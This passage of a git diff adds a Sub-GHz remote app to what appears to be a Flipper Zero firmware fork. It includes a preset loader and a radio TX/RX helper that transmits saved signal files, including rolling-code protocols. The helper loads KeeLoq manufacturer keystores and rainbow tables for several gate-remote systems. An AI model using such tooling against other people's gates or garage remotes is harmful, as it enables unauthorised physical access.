SubRemCustomEventViewRemoteForcedStop, + + SubRemCustomEventViewEditMenuBack, + SubRemCustomEventViewEditMenuUP, + SubRemCustomEventViewEditMenuDOWN, + SubRemCustomEventViewEditMenuEdit, + SubRemCustomEventViewEditMenuSave, + + SubRemCustomEventSceneEditsubmenu, + SubRemCustomEventSceneEditLabelInputDone, + SubRemCustomEventSceneEditLabelWidgetAcces, + SubRemCustomEventSceneEditLabelWidgetBack, + + SubRemCustomEventSceneEditOpenSubErrorPopup, + + SubRemCustomEventSceneEditPreviewSaved, + + SubRemCustomEventSceneNewName, + + // // SceneStates + // SubRemSceneOpenMapFileStateOpen, + // SubRemSceneOpenMapFileStateEdit, } SubRemCustomEvent; \ No newline at end of file diff --git a/applications/external/subghz_remote_new/helpers/subrem_presets.c b/applications/external/subghz_remote_new/helpers/subrem_presets.c new file mode 100644 index 000000000..dc298c069 --- /dev/null +++ b/applications/external/subghz_remote_new/helpers/subrem_presets.c @@ -0,0 +1,180 @@ +#include "subrem_presets.h" + +#define TAG "SubRemPresets" + +SubRemSubFilePreset* subrem_sub_file_preset_alloc() { + SubRemSubFilePreset* sub_preset = malloc(sizeof(SubRemSubFilePreset)); + + sub_preset->fff_data = flipper_format_string_alloc(); + sub_preset->file_path = furi_string_alloc(); + sub_preset->protocaol_name = furi_string_alloc(); + sub_preset->label = furi_string_alloc(); + + sub_preset->freq_preset.name = furi_string_alloc(); + + sub_preset->type = SubGhzProtocolTypeUnknown; + sub_preset->load_state = SubRemLoadSubStateNotSet; + + return sub_preset; +} + +void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset) { + furi_assert(sub_preset); + + furi_string_free(sub_preset->label); + furi_string_free(sub_preset->protocaol_name); + furi_string_free(sub_preset->file_path); + flipper_format_free(sub_preset->fff_data); + + furi_string_free(sub_preset->freq_preset.name); + + free(sub_preset); +} + +void subrem_sub_file_preset_reset(SubRemSubFilePreset* sub_preset) { + furi_assert(sub_preset); + + furi_string_set_str(sub_preset->label, ""); + furi_string_reset(sub_preset->protocaol_name); + furi_string_reset(sub_preset->file_path); + + Stream* fff_data_stream = flipper_format_get_raw_stream(sub_preset->fff_data); + stream_clean(fff_data_stream); + + sub_preset->type = SubGhzProtocolTypeUnknown; + sub_preset->load_state = SubRemLoadSubStateNotSet; +} + +SubRemLoadSubState subrem_sub_preset_load( + SubRemSubFilePreset* sub_preset, + SubGhzTxRx* txrx, + FlipperFormat* fff_data_file) { + furi_assert(sub_preset); + furi_assert(txrx); + furi_assert(fff_data_file); + + Stream* fff_data_stream = flipper_format_get_raw_stream(sub_preset->fff_data); + + SubRemLoadSubState ret; + FuriString* temp_str = furi_string_alloc(); + uint32_t temp_data32; + uint32_t repeat = 200; + + ret = SubRemLoadSubStateError; + + do { + stream_clean(fff_data_stream); + if(!flipper_format_read_header(fff_data_file, temp_str, &temp_data32)) { + FURI_LOG_E(TAG, "Missing or incorrect header"); + break; + } + + if(((!strcmp(furi_string_get_cstr(temp_str), SUBGHZ_KEY_FILE_TYPE)) || + (!strcmp(furi_string_get_cstr(temp_str), SUBGHZ_RAW_FILE_TYPE))) && + temp_data32 == SUBGHZ_KEY_FILE_VERSION) { + } else { + FURI_LOG_E(TAG, "Type or version mismatch"); + break; + } + + SubGhzSetting* setting = subghz_txrx_get_setting(txrx); + + //Load frequency or using default from settings + ret = SubRemLoadSubStateErrorFreq; + if(!flipper_format_read_uint32(fff_data_file, "Frequency", &temp_data32, 1)) { + FURI_LOG_W(TAG, "Cannot read frequency. Set default frequency"); + sub_preset->freq_preset.frequency = subghz_setting_get_default_frequency(setting); + } else if(!furi_hal_subghz_is_tx_allowed(temp_data32)) { + FURI_LOG_E(TAG, "This frequency can only be used for RX"); + break; + } + sub_preset->freq_preset.frequency = temp_data32; + + //Load preset + ret = SubRemLoadSubStateErrorMod; + if(!flipper_format_read_string(fff_data_file, "Preset", temp_str)) { + FURI_LOG_E(TAG, "Missing Preset"); + break; + } + + furi_string_set_str( + temp_str, subghz_txrx_get_preset_name(txrx, furi_string_get_cstr(temp_str))); + if(!strcmp(furi_string_get_cstr(temp_str), "")) { + break; + } + + if(!strcmp(furi_string_get_cstr(temp_str), "CUSTOM")) { + FURI_LOG_E(TAG, "CUSTOM preset is not supported"); + break; + // TODO Custom preset loading logic if need + // sub_preset->freq_preset.preset_index = + // subghz_setting_get_inx_preset_by_name(setting, furi_string_get_cstr(temp_str)); + } + + furi_string_set(sub_preset->freq_preset.name, temp_str); + + // Load protocol + ret = SubRemLoadSubStateErrorProtocol; + if(!flipper_format_read_string(fff_data_file, "Protocol", temp_str)) { + FURI_LOG_E(TAG, "Missing Protocol"); + break; + } + + FlipperFormat* fff_data = sub_preset->fff_data; + if(!strcmp(furi_string_get_cstr(temp_str), "RAW")) { + //if RAW + subghz_protocol_raw_gen_fff_data( + fff_data, furi_string_get_cstr(sub_preset->file_path)); + } else { + stream_copy_full( + flipper_format_get_raw_stream(fff_data_file), + flipper_format_get_raw_stream(fff_data)); + } + + if(subghz_txrx_load_decoder_by_name_protocol(txrx, furi_string_get_cstr(temp_str))) { + SubGhzProtocolStatus status = + subghz_protocol_decoder_base_deserialize(subghz_txrx_get_decoder(txrx), fff_data); + if(status != SubGhzProtocolStatusOk) { + break; + } + } else { + FURI_LOG_E(TAG, "Protocol not found"); + break; + } + + const SubGhzProtocol* protocol = subghz_txrx_get_decoder(txrx)->protocol; + + if(protocol->flag & SubGhzProtocolFlag_Send) { + if((protocol->type == SubGhzProtocolTypeStatic) || + (protocol->type == SubGhzProtocolTypeDynamic) || + // TODO: BINRAW It probably works, but checks are needed. + // (protocol->type == SubGhzProtocolTypeBinRAW) || + (protocol->type == SubGhzProtocolTypeRAW)) { + sub_preset->type = protocol->type; + } else { + FURI_LOG_E(TAG, "Unsuported Protocol"); + break; + } + + furi_string_set(sub_preset->protocaol_name, temp_str); + } else { + FURI_LOG_E(TAG, "Protocol does not support transmission"); + break; + } + + if(!flipper_format_insert_or_update_uint32(fff_data, "Repeat", &repeat, 1)) { + FURI_LOG_E(TAG, "Unable Repeat"); + break; + } + + ret = SubRemLoadSubStateOK; + +#if FURI_DEBUG + FURI_LOG_I(TAG, "%-16s - protocol Loaded", furi_string_get_cstr(sub_preset->label)); +#endif + } while(false); + + furi_string_free(temp_str); + sub_preset->load_state = ret; + return ret; +} diff --git a/applications/external/subghz_remote_new/helpers/subrem_presets.h b/applications/external/subghz_remote_new/helpers/subrem_presets.h new file mode 100644 index 000000000..d66181b90 --- /dev/null +++ b/applications/external/subghz_remote_new/helpers/subrem_presets.h @@ -0,0 +1,39 @@ +#pragma once + +#include "subrem_types.h" +#include "txrx/subghz_txrx.h" + +#include +#include + +typedef struct { + FuriString* name; + uint32_t frequency; + // size_t preset_index; // Need for custom preset +} FreqPreset; + +// Sub File preset +typedef struct { + FlipperFormat* fff_data; + FreqPreset freq_preset; + FuriString* file_path; + FuriString* protocaol_name; + FuriString* label; + SubGhzProtocolType type; + SubRemLoadSubState load_state; +} SubRemSubFilePreset; + +typedef struct { + SubRemSubFilePreset* subs_preset[SubRemSubKeyNameMaxCount]; +} SubRemMapPreset; + +SubRemSubFilePreset* subrem_sub_file_preset_alloc(); + +void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset); + +void subrem_sub_file_preset_reset(SubRemSubFilePreset* sub_preset); + +SubRemLoadSubState subrem_sub_preset_load( + SubRemSubFilePreset* sub_preset, + SubGhzTxRx* txrx, + FlipperFormat* fff_data_file); diff --git a/applications/external/subghz_remote_new/helpers/subrem_types.h b/applications/external/subghz_remote_new/helpers/subrem_types.h index 13b42897f..b43f8499d 100644 --- a/applications/external/subghz_remote_new/helpers/subrem_types.h +++ b/applications/external/subghz_remote_new/helpers/subrem_types.h @@ -3,9 +3,8 @@ #include #include -// TODO: File version/type logic -// #define SUBREM_APP_APP_FILE_VERSION 1 -// #define SUBREM_APP_APP_FILE_TYPE "Flipper SubRem Map file" +#define SUBREM_APP_APP_FILE_VERSION 1 +#define SUBREM_APP_APP_FILE_TYPE "Flipper SubRem Map file" #define SUBREM_APP_EXTENSION ".txt" typedef enum { @@ -18,17 +17,19 @@ typedef enum { } SubRemSubKeyName; typedef enum { - SubRemViewSubmenu, - SubRemViewWidget, - SubRemViewPopup, - SubRemViewTextInput, + SubRemViewIDSubmenu, + SubRemViewIDWidget, + SubRemViewIDPopup, + SubRemViewIDTextInput, SubRemViewIDRemote, + SubRemViewIDEditMenu, } SubRemViewID; typedef enum { - SubRemLoadSubStateNotSet, + SubRemLoadSubStateNotSet = 0, SubRemLoadSubStatePreloaded, SubRemLoadSubStateError, + SubRemLoadSubStateErrorIncorectPath, SubRemLoadSubStateErrorNoFile, SubRemLoadSubStateErrorFreq, SubRemLoadSubStateErrorMod, diff --git a/applications/external/subghz_remote_new/helpers/txrx/Readme.md b/applications/external/subghz_remote_new/helpers/txrx/Readme.md new file mode 100644 index 000000000..918160198 --- /dev/null +++ b/applications/external/subghz_remote_new/helpers/txrx/Readme.md @@ -0,0 +1,4 @@ +This is part of the official `SubGhz` app from [flipperzero-firmware](https://github.com/flipperdevices/flipperzero-firmware/tree/3217f286f03da119398586daf94c0723d28b872a/applications/main/subghz) + +With changes from [unleashed-firmware +](https://github.com/DarkFlippers/unleashed-firmware/tree/3eac6ccd48a3851cf5d63bf7899b387a293e5319/applications/main/subghz) \ No newline at end of file diff --git a/applications/external/subghz_remote_new/helpers/txrx/subghz_txrx.c b/applications/external/subghz_remote_new/helpers/txrx/subghz_txrx.c new file mode 100644 index 000000000..c1f519ba0 --- /dev/null +++ b/applications/external/subghz_remote_new/helpers/txrx/subghz_txrx.c @@ -0,0 +1,563 @@ +#include "subghz_txrx_i.h" +#include + +#define TAG "SubGhz" + +SubGhzTxRx* subghz_txrx_alloc() { + SubGhzTxRx* instance = malloc(sizeof(SubGhzTxRx)); + instance->setting = subghz_setting_alloc(); + subghz_setting_load(instance->setting, EXT_PATH("subghz/assets/setting_user")); + + instance->preset = malloc(sizeof(SubGhzRadioPreset)); + instance->preset->name = furi_string_alloc(); + subghz_txrx_set_preset( + instance, "AM650", subghz_setting_get_default_frequency(instance->setting), NULL, 0); + + instance->txrx_state = SubGhzTxRxStateSleep; + + subghz_txrx_hopper_set_state(instance, SubGhzHopperStateOFF); + subghz_txrx_speaker_set_state(instance, SubGhzSpeakerStateDisable); + subghz_txrx_set_debug_pin_state(instance, false); + + instance->worker = subghz_worker_alloc(); + instance->fff_data = flipper_format_string_alloc(); + + instance->environment = subghz_environment_alloc(); + instance->is_database_loaded = subghz_environment_load_keystore( + instance->environment, EXT_PATH("subghz/assets/keeloq_mfcodes")); + subghz_environment_load_keystore( + instance->environment, EXT_PATH("subghz/assets/keeloq_mfcodes_user")); + subghz_environment_set_came_atomo_rainbow_table_file_name( + instance->environment, EXT_PATH("subghz/assets/came_atomo")); + subghz_environment_set_alutech_at_4n_rainbow_table_file_name( + instance->environment, EXT_PATH("subghz/assets/alutech_at_4n")); + subghz_environment_set_nice_flor_s_rainbow_table_file_name( + instance->environment, EXT_PATH("subghz/assets/nice_flor_s")); + subghz_environment_set_protocol_registry( + instance->environment, (void*)&subghz_protocol_registry); + instance->receiver = subghz_receiver_alloc_init(instance->environment); + + subghz_worker_set_overrun_callback( + instance->worker, (SubGhzWorkerOverrunCallback)subghz_receiver_reset); + subghz_worker_set_pair_callback( + instance->worker, (SubGhzWorkerPairCallback)subghz_receiver_decode); + subghz_worker_set_context(instance->worker, instance->receiver); + + return instance; +} + +void subghz_txrx_free(SubGhzTxRx* instance) { + furi_assert(instance); + + subghz_worker_free(instance->worker); + subghz_receiver_free(instance->receiver); + subghz_environment_free(instance->environment); + flipper_format_free(instance->fff_data); + furi_string_free(instance->preset->name); + subghz_setting_free(instance->setting); + free(instance->preset); + free(instance); +} + +bool subghz_txrx_is_database_loaded(SubGhzTxRx* instance) { + furi_assert(instance); + return instance->is_database_loaded; +} + +void subghz_txrx_set_preset( + SubGhzTxRx* instance, + const char* preset_name, + uint32_t frequency, + uint8_t* preset_data, + size_t preset_data_size) { + furi_assert(instance); + furi_string_set(instance->preset->name, preset_name); + SubGhzRadioPreset* preset = instance->preset; + preset->frequency = frequency; + preset->data = preset_data; + preset->data_size = preset_data_size; +} + +const char* subghz_txrx_get_preset_name(SubGhzTxRx* instance, const char* preset) { + UNUSED(instance); + const char* preset_name = ""; + if(!strcmp(preset, "FuriHalSubGhzPresetOok270Async")) { + preset_name = "AM270"; + } else if(!strcmp(preset, "FuriHalSubGhzPresetOok650Async")) { + preset_name = "AM650"; + } else if(!strcmp(preset, "FuriHalSubGhzPreset2FSKDev238Async")) { + preset_name = "FM238"; + } else if(!strcmp(preset, "FuriHalSubGhzPreset2FSKDev476Async")) { + preset_name = "FM476"; + } else if(!strcmp(preset, "FuriHalSubGhzPresetCustom")) { + preset_name = "CUSTOM"; + } else { + FURI_LOG_E(TAG, "Unknown preset"); + } + return preset_name; +} + +SubGhzRadioPreset subghz_txrx_get_preset(SubGhzTxRx* instance) { + furi_assert(instance); + return *instance->preset; +} + +void subghz_txrx_get_frequency_and_modulation( + SubGhzTxRx* instance, + FuriString* frequency, + FuriString* modulation, + bool long_name) { + furi_assert(instance); + SubGhzRadioPreset* preset = instance->preset; + if(frequency != NULL) { + furi_string_printf( + frequency, + "%03ld.%02ld", + preset->frequency / 1000000 % 1000, + preset->frequency / 10000 % 100); + } + if(modulation != NULL) { + if(long_name) { + furi_string_printf(modulation, "%s", furi_string_get_cstr(preset->name)); + } else { + furi_string_printf(modulation, "%.2s", furi_string_get_cstr(preset->name)); + } + } +} + +static void subghz_txrx_begin(SubGhzTxRx* instance, uint8_t* preset_data) { + furi_assert(instance); + furi_hal_subghz_reset(); + furi_hal_subghz_idle(); + furi_hal_subghz_load_custom_preset(preset_data); + furi_hal_gpio_init(furi_hal_subghz.cc1101_g0_pin, GpioModeInput, GpioPullNo, GpioSpeedLow); + instance->txrx_state = SubGhzTxRxStateIDLE; +} + +static uint32_t subghz_txrx_rx(SubGhzTxRx* instance, uint32_t frequency) { + furi_assert(instance); + if(!furi_hal_subghz_is_frequency_valid(frequency)) { + furi_crash("SubGhz: Incorrect RX frequency."); + } + furi_assert( + instance->txrx_state != SubGhzTxRxStateRx && instance->txrx_state != SubGhzTxRxStateSleep); + + furi_hal_subghz_idle(); + uint32_t value = furi_hal_subghz_set_frequency_and_path(frequency); + furi_hal_gpio_init(furi_hal_subghz.cc1101_g0_pin, GpioModeInput, GpioPullNo, GpioSpeedLow); + furi_hal_subghz_flush_rx(); + subghz_txrx_speaker_on(instance); + furi_hal_subghz_rx(); + + furi_hal_subghz_start_async_rx(subghz_worker_rx_callback, instance->worker); + subghz_worker_start(instance->worker); + instance->txrx_state = SubGhzTxRxStateRx; + return value; +} + +static void subghz_txrx_idle(SubGhzTxRx* instance) { + furi_assert(instance); + furi_assert(instance->txrx_state != SubGhzTxRxStateSleep); + furi_hal_subghz_idle(); + subghz_txrx_speaker_off(instance); + instance->txrx_state = SubGhzTxRxStateIDLE; +} + +static void subghz_txrx_rx_end(SubGhzTxRx* instance) { + furi_assert(instance); + furi_assert(instance->txrx_state == SubGhzTxRxStateRx); + + if(subghz_worker_is_running(instance->worker)) { + subghz_worker_stop(instance->worker); + furi_hal_subghz_stop_async_rx(); + } + furi_hal_subghz_idle(); + subghz_txrx_speaker_off(instance); + instance->txrx_state = SubGhzTxRxStateIDLE; +} + +void subghz_txrx_sleep(SubGhzTxRx* instance) { + furi_assert(instance); + furi_hal_subghz_sleep(); + instance->txrx_state = SubGhzTxRxStateSleep; +} + +static bool subghz_txrx_tx(SubGhzTxRx* instance, uint32_t frequency) { + furi_assert(instance); + if(!furi_hal_subghz_is_frequency_valid(frequency)) { + furi_crash("SubGhz: Incorrect TX frequency."); + } + furi_assert(instance->txrx_state != SubGhzTxRxStateSleep); + furi_hal_subghz_idle(); + furi_hal_subghz_set_frequency_and_path(frequency); + furi_hal_gpio_write(furi_hal_subghz.cc1101_g0_pin, false); + furi_hal_gpio_init( + furi_hal_subghz.cc1101_g0_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedLow); + bool ret = furi_hal_subghz_tx(); + if(ret) { + subghz_txrx_speaker_on(instance); + instance->txrx_state = SubGhzTxRxStateTx; + } + + return ret; +} + +SubGhzTxRxStartTxState subghz_txrx_tx_start(SubGhzTxRx* instance, FlipperFormat* flipper_format) { + furi_assert(instance); + furi_assert(flipper_format); + + subghz_txrx_stop(instance); + + SubGhzTxRxStartTxState ret = SubGhzTxRxStartTxStateErrorParserOthers; + FuriString* temp_str = furi_string_alloc(); + uint32_t repeat = 200; + do { + if(!flipper_format_rewind(flipper_format)) { + FURI_LOG_E(TAG, "Rewind error"); + break; + } + if(!flipper_format_read_string(flipper_format, "Protocol", temp_str)) { + FURI_LOG_E(TAG, "Missing Protocol"); + break; + } + if(!flipper_format_insert_or_update_uint32(flipper_format, "Repeat", &repeat, 1)) { + FURI_LOG_E(TAG, "Unable Repeat"); + break; + } + ret = SubGhzTxRxStartTxStateOk; + + SubGhzRadioPreset* preset = instance->preset; + instance->transmitter = + subghz_transmitter_alloc_init(instance->environment, furi_string_get_cstr(temp_str)); + + if(instance->transmitter) { + if(subghz_transmitter_deserialize(instance->transmitter, flipper_format) == + SubGhzProtocolStatusOk) { + if(strcmp(furi_string_get_cstr(preset->name), "") != 0) { + subghz_txrx_begin( + instance, + subghz_setting_get_preset_data_by_name( + instance->setting, furi_string_get_cstr(preset->name))); + if(preset->frequency) { + if(!subghz_txrx_tx(instance, preset->frequency)) { + FURI_LOG_E(TAG, "Only Rx"); + ret = SubGhzTxRxStartTxStateErrorOnlyRx; + } + } else { + ret = SubGhzTxRxStartTxStateErrorParserOthers; + } + + } else { + FURI_LOG_E( + TAG, "Unknown name preset \" %s \"", furi_string_get_cstr(preset->name)); + ret = SubGhzTxRxStartTxStateErrorParserOthers; + } + + if(ret == SubGhzTxRxStartTxStateOk) { + //Start TX + furi_hal_subghz_start_async_tx( + subghz_transmitter_yield, instance->transmitter); + } + } else { + ret = SubGhzTxRxStartTxStateErrorParserOthers; + } + } else { + ret = SubGhzTxRxStartTxStateErrorParserOthers; + } + if(ret != SubGhzTxRxStartTxStateOk) { + subghz_transmitter_free(instance->transmitter); + if(instance->txrx_state != SubGhzTxRxStateIDLE) { + subghz_txrx_idle(instance); + } + } + + } while(false); + furi_string_free(temp_str); + return ret; +} + +void subghz_txrx_rx_start(SubGhzTxRx* instance) { + furi_assert(instance); + subghz_txrx_stop(instance); + subghz_txrx_begin( + instance, + subghz_setting_get_preset_data_by_name( + subghz_txrx_get_setting(instance), furi_string_get_cstr(instance->preset->name))); + subghz_txrx_rx(instance, instance->preset->frequency); +} + +void subghz_txrx_set_need_save_callback( + SubGhzTxRx* instance, + SubGhzTxRxNeedSaveCallback callback, + void* context) { + furi_assert(instance); + instance->need_save_callback = callback; + instance->need_save_context = context; +} + +static void subghz_txrx_tx_stop(SubGhzTxRx* instance) { + furi_assert(instance); + furi_assert(instance->txrx_state == SubGhzTxRxStateTx); + //Stop TX + furi_hal_subghz_stop_async_tx(); + subghz_transmitter_stop(instance->transmitter); + subghz_transmitter_free(instance->transmitter); + + //if protocol dynamic then we save the last upload + if(instance->decoder_result->protocol->type == SubGhzProtocolTypeDynamic) { + if(instance->need_save_callback) { + instance->need_save_callback(instance->need_save_context); + } + } + subghz_txrx_idle(instance); + subghz_txrx_speaker_off(instance); + //Todo: Show message + // notification_message(notifications, &sequence_reset_red); +} + +FlipperFormat* subghz_txrx_get_fff_data(SubGhzTxRx* instance) { + furi_assert(instance); + return instance->fff_data; +} + +SubGhzSetting* subghz_txrx_get_setting(SubGhzTxRx* instance) { + furi_assert(instance); + return instance->setting; +} + +void subghz_txrx_stop(SubGhzTxRx* instance) { + furi_assert(instance); + + switch(instance->txrx_state) { + case SubGhzTxRxStateTx: + subghz_txrx_tx_stop(instance); + subghz_txrx_speaker_unmute(instance); + break; + case SubGhzTxRxStateRx: + subghz_txrx_rx_end(instance); + subghz_txrx_speaker_mute(instance); + break; + + default: + break; + } +} + +void subghz_txrx_hopper_update(SubGhzTxRx* instance) { + furi_assert(instance); + + switch(instance->hopper_state) { + case SubGhzHopperStateOFF: + case SubGhzHopperStatePause: + return; + case SubGhzHopperStateRSSITimeOut: + if(instance->hopper_timeout != 0) { + instance->hopper_timeout--; + return; + } + break; + default: + break; + } + float rssi = -127.0f; + if(instance->hopper_state != SubGhzHopperStateRSSITimeOut) { + // See RSSI Calculation timings in CC1101 17.3 RSSI + rssi = furi_hal_subghz_get_rssi(); + + // Stay if RSSI is high enough + if(rssi > -90.0f) { + instance->hopper_timeout = 10; + instance->hopper_state = SubGhzHopperStateRSSITimeOut; + return; + } + } else { + instance->hopper_state = SubGhzHopperStateRunning; + } + // Select next frequency + if(instance->hopper_idx_frequency < + subghz_setting_get_hopper_frequency_count(instance->setting) - 1) { + instance->hopper_idx_frequency++; + } else { + instance->hopper_idx_frequency = 0; + } + + if(instance->txrx_state == SubGhzTxRxStateRx) { + subghz_txrx_rx_end(instance); + }; + if(instance->txrx_state == SubGhzTxRxStateIDLE) { + subghz_receiver_reset(instance->receiver); + instance->preset->frequency = + subghz_setting_get_hopper_frequency(instance->setting, instance->hopper_idx_frequency); + subghz_txrx_rx(instance, instance->preset->frequency); + } +} + +SubGhzHopperState subghz_txrx_hopper_get_state(SubGhzTxRx* instance) { + furi_assert(instance); + return instance->hopper_state; +} + +void subghz_txrx_hopper_set_state(SubGhzTxRx* instance, SubGhzHopperState state) { + furi_assert(instance); + instance->hopper_state = state; +} + +void subghz_txrx_hopper_unpause(SubGhzTxRx* instance) { + furi_assert(instance); + if(instance->hopper_state == SubGhzHopperStatePause) { + instance->hopper_state = SubGhzHopperStateRunning; + } +} + +void subghz_txrx_hopper_pause(SubGhzTxRx* instance) { + furi_assert(instance); + if(instance->hopper_state == SubGhzHopperStateRunning) { + instance->hopper_state = SubGhzHopperStatePause; + } +} + +void subghz_txrx_speaker_on(SubGhzTxRx* instance) { + furi_assert(instance); + if(instance->debug_pin_state) { + furi_hal_subghz_set_async_mirror_pin(&gpio_ibutton); + } + + if(instance->speaker_state == SubGhzSpeakerStateEnable) { + if(furi_hal_speaker_acquire(30)) { + if(!instance->debug_pin_state) { + furi_hal_subghz_set_async_mirror_pin(&gpio_speaker); + } + } else { + instance->speaker_state = SubGhzSpeakerStateDisable; + } + } +} + +void subghz_txrx_speaker_off(SubGhzTxRx* instance) { + furi_assert(instance); + if(instance->debug_pin_state) { + furi_hal_subghz_set_async_mirror_pin(NULL); + } + if(instance->speaker_state != SubGhzSpeakerStateDisable) { + if(furi_hal_speaker_is_mine()) { + if(!instance->debug_pin_state) { + furi_hal_subghz_set_async_mirror_pin(NULL); + } + furi_hal_speaker_release(); + if(instance->speaker_state == SubGhzSpeakerStateShutdown) + instance->speaker_state = SubGhzSpeakerStateDisable; + } + } +} + +void subghz_txrx_speaker_mute(SubGhzTxRx* instance) { + furi_assert(instance); + if(instance->debug_pin_state) { + furi_hal_subghz_set_async_mirror_pin(NULL); + } + if(instance->speaker_state == SubGhzSpeakerStateEnable) { + if(furi_hal_speaker_is_mine()) { + if(!instance->debug_pin_state) { + furi_hal_subghz_set_async_mirror_pin(NULL); + } + } + } +} + +void subghz_txrx_speaker_unmute(SubGhzTxRx* instance) { + furi_assert(instance); + if(instance->debug_pin_state) { + furi_hal_subghz_set_async_mirror_pin(&gpio_ibutton); + } + if(instance->speaker_state == SubGhzSpeakerStateEnable) { + if(furi_hal_speaker_is_mine()) { + if(!instance->debug_pin_state) { + furi_hal_subghz_set_async_mirror_pin(&gpio_speaker); + } + } + } +} + +void subghz_txrx_speaker_set_state(SubGhzTxRx* instance, SubGhzSpeakerState state) { + furi_assert(instance); + instance->speaker_state = state; +} + +SubGhzSpeakerState subghz_txrx_speaker_get_state(SubGhzTxRx* instance) { + furi_assert(instance); + return instance->speaker_state; +} + +bool subghz_txrx_load_decoder_by_name_protocol(SubGhzTxRx* instance, const char* name_protocol) { + furi_assert(instance); + furi_assert(name_protocol); + bool res = false; + instance->decoder_result = + subghz_receiver_search_decoder_base_by_name(instance->receiver, name_protocol); + if(instance->decoder_result) { + res = true; + } + return res; +} + +SubGhzProtocolDecoderBase* subghz_txrx_get_decoder(SubGhzTxRx* instance) { + furi_assert(instance); + return instance->decoder_result; +} + +bool subghz_txrx_protocol_is_serializable(SubGhzTxRx* instance) { + furi_assert(instance); + return ( + (instance->decoder_result->protocol->flag & SubGhzProtocolFlag_Save) == + SubGhzProtocolFlag_Save); +} + +bool subghz_txrx_protocol_is_transmittable(SubGhzTxRx* instance, bool check_type) { + furi_assert(instance); + const SubGhzProtocol* protocol = instance->decoder_result->protocol; + if(check_type) { + return ( + ((protocol->flag & SubGhzProtocolFlag_Send) == SubGhzProtocolFlag_Send) && + protocol->encoder->deserialize && protocol->type == SubGhzProtocolTypeStatic); + } + return ( + ((protocol->flag & SubGhzProtocolFlag_Send) == SubGhzProtocolFlag_Send) && + protocol->encoder->deserialize); +} + +void subghz_txrx_receiver_set_filter(SubGhzTxRx* instance, SubGhzProtocolFlag filter) { + furi_assert(instance); + subghz_receiver_set_filter(instance->receiver, filter); +} + +void subghz_txrx_set_rx_calback( + SubGhzTxRx* instance, + SubGhzReceiverCallback callback, + void* context) { + subghz_receiver_set_rx_callback(instance->receiver, callback, context); +} + +void subghz_txrx_set_raw_file_encoder_worker_callback_end( + SubGhzTxRx* instance, + SubGhzProtocolEncoderRAWCallbackEnd callback, + void* context) { + subghz_protocol_raw_file_encoder_worker_set_callback_end( + (SubGhzProtocolEncoderRAW*)subghz_transmitter_get_protocol_instance(instance->transmitter), + callback, + context); +} + +void subghz_txrx_set_debug_pin_state(SubGhzTxRx* instance, bool state) { + furi_assert(instance); + instance->debug_pin_state = state; +} + +bool subghz_txrx_get_debug_pin_state(SubGhzTxRx* instance) { + furi_assert(instance); + return instance->debug_pin_state; +} + +SubGhzReceiver* subghz_txrx_get_receiver(SubGhzTxRx* instance) { + furi_assert(instance); + return instance->receiver; +} \ No newline at end of file diff --git a/applications/external/subghz_remote_new/helpers/txrx/subghz_txrx.h b/applications/external/subghz_remote_new/helpers/txrx/subghz_txrx.h new file mode 100644 index 000000000..b2ebcc5f3 --- /dev/null +++ b/applications/external/subghz_remote_new/helpers/txrx/subghz_txrx.h @@ -0,0 +1,318 @@ +#pragma once + +#include +#include +#include +#include +#include + +typedef struct SubGhzTxRx SubGhzTxRx; + +typedef void (*SubGhzTxRxNeedSaveCallback)(void* context); + +typedef enum { + SubGhzTxRxStartTxStateOk, + SubGhzTxRxStartTxStateErrorOnlyRx, + SubGhzTxRxStartTxStateErrorParserOthers, +} SubGhzTxRxStartTxState; + +// Type from subghz_types.h need for txrx working +/** SubGhzTxRx state */ +typedef enum { + SubGhzTxRxStateIDLE, + SubGhzTxRxStateRx, + SubGhzTxRxStateTx, + SubGhzTxRxStateSleep, +} SubGhzTxRxState; + +/** SubGhzHopperState state */ +typedef enum { + SubGhzHopperStateOFF, + SubGhzHopperStateRunning, + SubGhzHopperStatePause, + SubGhzHopperStateRSSITimeOut, +} SubGhzHopperState; + +/** SubGhzSpeakerState state */ +typedef enum { + SubGhzSpeakerStateDisable, + SubGhzSpeakerStateShutdown, + SubGhzSpeakerStateEnable, +} SubGhzSpeakerState; + +/** + * Allocate SubGhzTxRx + * + * @return SubGhzTxRx* pointer to SubGhzTxRx + */ +SubGhzTxRx* subghz_txrx_alloc(); + +/** + * Free SubGhzTxRx + * + * @param instance Pointer to a SubGhzTxRx + */ +void subghz_txrx_free(SubGhzTxRx* instance); + +/** + * Check if the database is loaded + * + * @param instance Pointer to a SubGhzTxRx + * @return bool True if the database is loaded + */ +bool subghz_txrx_is_database_loaded(SubGhzTxRx* instance); + +/** + * Set preset + * + * @param instance Pointer to a SubGhzTxRx + * @param preset_name Name of preset + * @param frequency Frequency in Hz + * @param preset_data Data of preset + * @param preset_data_size Size of preset data + */ +void subghz_txrx_set_preset( + SubGhzTxRx* instance, + const char* preset_name, + uint32_t frequency, + uint8_t* preset_data, + size_t preset_data_size); + +/** + * Get name of preset + * + * @param instance Pointer to a SubGhzTxRx + * @param preset String of preset + * @return const char* Name of preset + */ +const char* subghz_txrx_get_preset_name(SubGhzTxRx* instance, const char* preset); + +/** + * Get of preset + * + * @param instance Pointer to a SubGhzTxRx + * @return SubGhzRadioPreset Preset + */ +SubGhzRadioPreset subghz_txrx_get_preset(SubGhzTxRx* instance); + +/** + * Get string frequency and modulation + * + * @param instance Pointer to a SubGhzTxRx + * @param frequency Pointer to a string frequency + * @param modulation Pointer to a string modulation + */ +void subghz_txrx_get_frequency_and_modulation( + SubGhzTxRx* instance, + FuriString* frequency, + FuriString* modulation, + bool long_name); + +/** + * Start TX CC1101 + * + * @param instance Pointer to a SubGhzTxRx + * @param flipper_format Pointer to a FlipperFormat + * @return SubGhzTxRxStartTxState + */ +SubGhzTxRxStartTxState subghz_txrx_tx_start(SubGhzTxRx* instance, FlipperFormat* flipper_format); + +/** + * Start RX CC1101 + * + * @param instance Pointer to a SubGhzTxRx + */ +void subghz_txrx_rx_start(SubGhzTxRx* instance); + +/** + * Stop TX/RX CC1101 + * + * @param instance Pointer to a SubGhzTxRx + */ +void subghz_txrx_stop(SubGhzTxRx* instance); + +/** + * Set sleep mode CC1101 + * + * @param instance Pointer to a SubGhzTxRx + */ +void subghz_txrx_sleep(SubGhzTxRx* instance); + +/** + * Update frequency CC1101 in automatic mode (hopper) + * + * @param instance Pointer to a SubGhzTxRx + */ +void subghz_txrx_hopper_update(SubGhzTxRx* instance); + +/** + * Get state hopper + * + * @param 